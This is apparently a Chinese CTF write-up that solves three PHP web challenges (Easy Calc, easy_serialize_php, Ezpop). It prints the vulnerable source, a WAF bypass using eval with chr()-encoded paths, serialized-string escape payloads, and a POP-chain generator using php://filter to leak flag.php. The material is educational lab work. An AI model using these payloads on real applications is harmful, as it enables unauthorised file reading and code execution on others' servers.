[RoarCTF 2019]Easy Calc

网页打开之后就是一个非常普通的计算器(web应用),直接翻查源码,主要看js代码。

<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
encodeURIComponent()      字符串作为 URI 组件进行编码。
val() 方法返回或设置被选元素的值。


发现这么一句注释:​​<!--I've set up WAF to ensure security.-->​​,哦,那先了解一下啥事WAF:

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。经过尝试,这个似乎是拦截了字符串输入。

嗯,完全没有思路呢,不过中间的url提到了clac.php,打开看一看:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>


好,是正则表达式,不会,找​​文章​​去看。

“/”被过滤掉了,我们用chr(47)代替。chr()函数可以从指定的ASCII值返回字符。这样我们传入chr(47),得到的实际是“/”。

这里牵扯到字符串解析特性。PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符  
2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】


对于waf来说,“num”和“ num”(后面这个有空格)是不同的两个变量,所欲不会进行防护。后台php解析的时候则会删除空格字符从而执行php,实现waf的绕过。

这里介绍一下scandir(),作为PHP5 Directory函数,它可以返回指定目录中的文件和目录的数组。我们可以直接通过这个函数读取目录。执行:

​? num=1;var_dump(scandir(chr(47)))​

读出,数组中出现​​[7]=>string(5)"f1agg"​​,访问它:

​? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))​

后面内容为“/f1agg”ascii编码后,拿到flag。(查到文件后1和l要区分清楚)

p.s.本题似乎有多种解法,感兴趣可以看一看http走私解法。

[安洵杯 2019]easy_serialize_php

(反序列化中的对象逃逸)

打开之后是超链接,跳转至source_php。

<?php

$function = @$_GET['f'];
//大题解释就是对传入的参数进行了匹配过滤
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

//如果有session就销毁
if($_SESSION){
unset($_SESSION);
}
//对session进行赋值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//变量覆盖,$_session之前的赋值作废
extract($_POST);
//确保函数存在
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
//传入img_path会使得本身base64编码后求sha1散列,加工后的session会使file_get_contents函数失效
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));
//试图引导我传入phpinfo
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}


(分析已写入代码注释)

给我一种代码不完整的感觉……不过确实是完整的扒下来了。

phpinfo()     输出关于PHP的配置信息      
implode() 把数组元素组合为字符串;函数返回由数组元素组合成的字符串。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。(涉及正则表达式部分)
unset() 销毁指定变量
file_get_contents() 之前介绍过了,把文件读成一个字符串
sha1() 计算并返回sha1传入参数的散列值


先传参令f=phpinfo,看看配置信息。在core->auto_append_file栏发现野生php文件:d0g3_f1ag.php,挺像flag的。

查了查wp归来,这个地方似乎考察一个叫​​php反序列化字符逃逸​​的知识点。链接文章很详细。所以这个地方我们可以在一个标准的序列化字符串结尾,继续添加一些算是序列化字符串格式的字符。“}”后面我们添加的字符在反序列化的时候会被抛掉,。由此实现了字符串逃逸。

payload:​​_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}​

后面的字符串就是d0g3_f1ag.php的base64加密。s:3:“img”;s:20:"ZDBnM19mMWFnLnBocA";}这个肯定就是我们预期的那段序列化字符.通过filter函数过滤掉php和flag之后,我们大概得到的是:

​a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}​​通过构造我们把img的原值成功抛弃,自主构造的值完美逃逸。但是使用后题目很恶心的给我们又摆了一道:

​$flag = 'flag in /d0g3f111111ag';​

梅开二度,payload:​​_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}​

总算拿到flag了……附一个用两种方法的大佬的wp,实现键逃逸和值逃逸。

[MRCTF2020]Ezpop

源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
//可利用的文件包含
public function append($value){
include($value);
}
//尝试调用对象触发invoke魔术方法
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;

public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
//echo触发toString(),看样子是返回include()的内容
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
//对象被创建时调用
public function __construct(){
$this->p = array();
}
//访问设置未定义或私密域时自动调用
public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}


(代码分析已写入注释)

总之它还很贴心的贴上了反序列化魔术方法的学习网址(虽然失效了),我们也应该很贴心的去百度一下到底自己不会的这些魔术方法是啥。

__construct   当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问(私有属性,未初始化属性)的属性读取数据
__invoke() 当脚本尝试将对象调用为函数时触发


pop链据说正向理思路,反向推解法。首先我们让Test类的成员域p等于Modifier类,触发​​__get()​​魔术方法。这样Modifier类会变成函数,从而使得​​__invoke()​​方法被调用,调用出我们需要的include()函数;之后由于​​__toString()​​方法可以输出内容,前提是source为对象。那么我们令source为对象,调出内容。

<?php

class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier;
}
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

?>


这个地方有一个​​filter协议​​相关的知识点,需要过滤封装代码。拿到这个​​PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezcxMjNjNGRhLTg3MjQtNDJjYy04M2I1LWYyZDVkNjkxY2Y3NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+​​,base64解码发现是php代码,其中输出了flag。